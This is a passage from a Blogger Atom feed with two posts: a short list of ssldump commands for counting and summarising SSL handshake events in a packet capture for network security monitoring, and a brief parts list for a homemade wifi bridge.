rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-3719406983927483850</id><published>2009-08-22T15:12:00.002-04:00</published><updated>2009-08-22T18:02:50.455-04:00</updated><title type='text'>NSM: SSL handshake analysis with ssldump</title><content type='html'>&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Total SSL Handshakes:&lt;/b&gt; ssldump -n -r &lt;i&gt;[capture_file]&lt;/i&gt; | grep Handshake | wc -l&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Total ClientHellos:&lt;/b&gt; ssldump -n -r &lt;i&gt;[&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;capture&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;_file]&lt;/i&gt; | grep ClientHello | wc -l&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: List SSL versions negotiated: &lt;/b&gt;ssldump -n -r &lt;i&gt;[&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;capture&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;_file]&lt;/i&gt; | grep Version | sort | uniq -c | sort -nr&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: List CipherSuites negotiated: &lt;/b&gt;ssldump -n -r &lt;i&gt;[&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;capture&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;_file]&lt;/i&gt; | grep "cipherSuite" | sort | uniq -c | sort -nr&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: List ServerHello events: &lt;/b&gt;ssldump -n -r &lt;i&gt;[&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;capture&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;_file]&lt;/i&gt; | grep "ServerHello" | sort | uniq -c | sort -nr&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;:: Total ChangeCipherSpec events:&lt;/b&gt; ssldump -n -r &lt;i&gt;[&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;capture&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;_file]&lt;/i&gt; | grep ChangeCipherSpec | wc -l&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-3719406983927483850?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/3719406983927483850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=3719406983927483850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3719406983927483850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/3719406983927483850'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2009/08/network-security-monitoring-ssl.html' title='NSM: SSL handshake analysis with ssldump'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3222685706252794.post-7568594924628960275</id><published>2008-07-29T17:43:00.000-04:00</published><updated>2009-08-22T14:56:45.011-04:00</updated><title type='text'>Hardware Hacking: Ghetto wifi bridge</title><content type='html'>&lt;a href="http://bp3.blogger.com/_MdJ2Umc38oQ/SI-PaCTio_I/AAAAAAAAABM/Ce9c8bEfJRM/s1600-h/gw2.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5228555369858638834" src="http://bp3.blogger.com/_MdJ2Umc38oQ/SI-PaCTio_I/AAAAAAAAABM/Ce9c8bEfJRM/s400/gw2.JPG" style="float: left; margin: 0px 10px 10px 0px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://bp3.blogger.com/_MdJ2Umc38oQ/SI-PMfVFqEI/AAAAAAAAABE/zv-xpbLbwxo/s1600-h/gw2.JPG"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-size: 85%;"&gt;&lt;b&gt; &lt;/b&gt;. 14dbi sector panel antenna with &lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 85%;"&gt;500mw amp&lt;br /&gt;. Standard bombay sapphire panel mount&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms; font-size: 85%;"&gt;. Gaping PC with red led fans&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 85%;"&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222685706252794-7568594924628960275?l=grep8000.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://grep8000.blogspot.com/feeds/7568594924628960275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222685706252794&amp;postID=7568594924628960275' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7568594924628960275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222685706252794/posts/default/7568594924628960275'/><link rel='alternate' type='text/html' href='http://grep8000.blogspot.com/2008/07/recent-projects.html' title='Hardware Hacking: Ghetto wifi bridge'/><author><name>Grep</name><uri>http://www.blogger.com/profile/06871164484592521589</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_MdJ2Umc38oQ/SI-PaCTio_I/AAAAAAAAABM/Ce9c8bEfJRM/s72-c/gw2.JPG' height='72' width='72'/><thr:total>1</thr:total></entry></feed>
